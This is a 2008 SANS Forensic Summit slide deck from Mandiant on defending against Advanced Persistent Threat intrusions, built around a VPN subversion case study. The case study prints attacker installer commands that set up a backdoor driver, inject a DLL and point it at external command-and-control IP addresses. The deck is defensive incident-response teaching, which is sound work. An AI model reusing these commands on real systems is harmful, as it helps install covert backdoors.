Disclaimer:

All Information is derived from Mandiant consulting in a non-classified environment.

Case Studies are representative of industry trends and have been derived from multiple client engagements.
Slaying the Red Dragon: Remediating the China Cyber Threat

Presented to:
SANS Forensic Summit

October 14, 2008

Ken Bradley & Wendi Rafferty

ken.bradley@mandiant.com
wendi.rafferty@mandiant.com
Overview

- Who is Mandiant?
- VPN Subversion Case Study
- How to Win the Fight Against the Advanced Persistent Threat (APT)

Even though we’re talking about the APT today, these same strategies will work with tomorrow’s threat.
Who is Mandiant?

- Consultants, authors, instructors and security experts
- We have investigated the Advanced Persistent Threat in Federal and Commercial enterprise networks for over eight years
- We have reverse engineered the latest techniques used by the APT attackers and briefed the DoD on them
- We can help find evil and solve crime: whether it is APT-related or not
Who Are We?

Ken
- Principal Consultant
- Investigates Commercial APT Intrusions
- AFOSI Technical Monitoring Team

Wendi
- Director of Federal Services
- Investigates Federal APT Intrusions
- AFOSI Computer Crime Investigator
VPN Subversion Attack Case Study
Once Upon a Time...

- We were onsite during an engagement

- Identified several malware families resident
  - The attackers were using simple outbound connections for reverse shells

- We blocked these connections through the firewall & DNS

- The attackers developed proxy-aware malware & stopped using DNS:
  - This allowed them to bypass the firewall & DNS blocks
  - The proxies were not monitored initially

- We identified their traffic patterns on the proxies & responded to the infected hosts
Playing the Game of “Whack-a-mole”

- We continued to identify infected hosts by devising an enterprise-wide host-based detection system.
  - A cycle of response & containment continued for an extended period of time.

- Then, their network traffic seemed to vanish, but we were still identifying hosts with the known malware...
Where Did They Go?

- Two possible explanations:
  - The attackers completely stopped activity
  - The attackers were using covert channels
VPN’s are safe. Right? (gulp)
Setting Up VPN Subversion

- The attacker:
  1. Establishes a foothold on the network
  2. Steals credentials
  3. Propagates the malware to multiple systems
     - Installer – installs and configures backdoor and driver
     - Backdoor – interacts with driver and external C2 server
     - Subversion Driver – subverts DNE2000.sys

```
installer.exe -id evil_driver backdoor.sys
net start evil_driver
installer.exe -cd evil_driver 0 125.125.125.125
installer.exe -in c:\windows\system32\sens.dll backdoor.dll 1
installer.exe -cc 20 9999 123.123.123.123 3454 219
installer -cc -m 00F1E1C1343D 192.168.1.1
```
Lessons Learned: How to Win the Fight
First Things First:

- Your network must become:
  1. **Defensible**
     - Know the content of your network
     - Know where your network begins and ends
  2. **Hostile**
     - Must be as difficult as possible for an attacker to compromise and reside in
  3. **Fertile**
     - Network should be a breeding ground of forensic and investigative data
     - Logs/backups/traffic captures/baseline data

There is no one silver bullet - you must develop a series of tactical & strategic mitigation activities
Make it Defensible
You need near-realtime access to:

- Active Directory
- DHCP
- VPN
- Web Proxy
- IDS/IPS
- Firewall/Router ACL
- HIDS/HIPS
- Antivirus
- Server Event Logs
- Workstation Event Logs
- Software Management
- Vulnerability Scans
Defensible

- Know the contents of your network
- Know where your network begins and ends
- Know where accounts authenticate
- Ensure network is segmented into a DMZ and internal infrastructure
- Where there is a firewall, there should also be an IDS and network monitoring
- Deploy standardized software and hardware throughout the enterprise
Defensible

- Have a mechanism for developing host and network-based indicators through reverse engineering of malware – not just plugging files into an automated repository
- Be able to search all hosts on your network for the specific indicators you developed
  - Mandiant Intelligent Response (MIR)
- Complete this cycle within a matter of hours
Establish Tracking of Indicators:
- Develop a Formal Process for Tracking Host and Network Based Indicators
- Ensure there is a mechanism for distributing & implementing searches for the indicators throughout the organization

Establish Repository for Reports
### Develop a Formal Repository of Indicators

<table>
<thead>
<tr>
<th>Number</th>
<th>Description</th>
<th>Details</th>
<th>Source</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>HBI-001</td>
<td>Registry Setting</td>
<td>HKLM\SYSTEM\CurrentControlSet\helloworld\</td>
<td>Reverse engineering of helloworld.exe, provided by outside source.</td>
<td>This registry key is created as a by-product of the installation of a service named helloworld. This malware is associated with the use of the helloworld.exe and helloworld.zip malware tool. If this key is found, it is likely that helloworld.exe was executed on the system. A primary function of helloworld.exe is to dump password hashes.</td>
</tr>
<tr>
<td>HBI-002</td>
<td>Filename</td>
<td>goodbye.exe</td>
<td>Provided by outside source.</td>
<td>Reverse engineering shows that goodbye.exe is associated with HBI-001.</td>
</tr>
<tr>
<td>HBI-003</td>
<td>MD5 Hash</td>
<td>fffffffaba42108a9d3a3d138a9aAAAAA</td>
<td>Provided by outside source.</td>
<td>Mandiant calculated the MD5 hash of the goodbye.exe executable provided by a third party.</td>
</tr>
</tbody>
</table>
Establishing a Formal Reporting Methodology

- Establish Formal Reporting
  - Forensic Reports
  - Classification and Prioritization of Indicators
    - Standardized Tables and Figures
    - Standardized Host and Network-Based Indicators
      - Allows for portability throughout organization and various databases, search schemas, etc
  - Malware Analysis Reports
    - Numbering sequence that feeds back into your repository
  - Remediation Step Tracking

These steps aren’t revolutionary. But establishing a repeatable process to complete them in record time is!
Make it Hostile
Hostile

- Must be as difficult as possible for an attacker to compromise and reside in your network
- Baseline network traffic to perform comparative analysis
- Whitelist good activity and deny the rest
  - Network activity
  - Application behavior
- Do not allow public facing devices to connect directly to internal domain controllers
- Limit administrative privileges to users
- Develop data collection and analysis guidelines that assist in decreasing time the attackers operate undetected
# Initial Data Collection Timeframe

<table>
<thead>
<tr>
<th>Activity</th>
<th>Activity Begins</th>
<th>Completion</th>
</tr>
</thead>
<tbody>
<tr>
<td>Live Data Collection</td>
<td>Under 4 hours</td>
<td>4 Hours</td>
</tr>
<tr>
<td>Disk Duplication</td>
<td>Under 4 hours</td>
<td>2 Days</td>
</tr>
<tr>
<td>IDS Log Collection</td>
<td>Under 2 hours</td>
<td>4 Hours</td>
</tr>
<tr>
<td>Active Directory Log Collection</td>
<td>Under 2 hours</td>
<td>4 Hours</td>
</tr>
<tr>
<td>Anti-Virus Log Collection</td>
<td>Under 2 Hours</td>
<td>4 Hours</td>
</tr>
<tr>
<td>Firewall Log Collection</td>
<td>Under 2 hours</td>
<td>4 Hours</td>
</tr>
</tbody>
</table>
## Desired Data Analysis Timeframe

<table>
<thead>
<tr>
<th>Activity</th>
<th>Confirm Compromise</th>
<th>In-Depth Inspection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Review Live Data</td>
<td>Under 1 hour</td>
<td>4 Hours</td>
</tr>
<tr>
<td>Review Forensic Images</td>
<td>Under 4 hours</td>
<td>2-3 Days</td>
</tr>
<tr>
<td>Review IDS Logs</td>
<td>Requires Known Indicators/Custom Signatures</td>
<td>Real-Time Alerting</td>
</tr>
<tr>
<td>Review Active Directory Logs</td>
<td>Requires Known Indicators (Normal Logon Behavior)</td>
<td>Unknown</td>
</tr>
<tr>
<td>Review Firewall Logs</td>
<td>Requires Known Indicators</td>
<td>Unknown</td>
</tr>
</tbody>
</table>
Make it Fertile
Fertile

- Network should be a breeding ground of forensic and investigative data:
  1. Proxy logs
  2. Authentication logs
  3. IDS alerts
  4. Host-based logs
  5. Firewall logs
  6. Full content traffic captures
  7. Netflow

- Ensure this data is standardized throughout the enterprise
- That whole “near-realtime access” thing…
How do we solve that VPN problem?
VPN Subversion Mitigation Recommendations:

- Baseline the VPN traffic to perform comparative analysis to determine traffic spikes
- Employ portable hardware host based firewalls to prevent split-tunneling through hosts
- Employ good segmentation!
- Why is an attacker that is able to compromise a user’s system able to touch Domain Controllers on any port other than 88 (Kerberos)
- Use ACL’d VLANs for major segments and personal firewalls on all clients to prevent client -> client communication
Summary

- VPN Subversion Case Study
- How to Win the Fight Against the Advanced Persistent Threat
Questions

ken.brady@mandiant.com
wendi.rafferty@mandiant.com
Contact Information

- **Washington, DC**
  675 N. Washington Street
  Suite 210
  Alexandria, VA 22324
  (703) 683-3141
  (800) 647-7020

- **New York**
  1285 Avenue of the Americas
  35th Floor
  New York, NY 10019

- **Los Angeles**
  400 Continental Blvd
  El Segundo, CA 90245
WHO HACKED INTO OUR SYSTEM?

AFFIRMATIVE, SIR.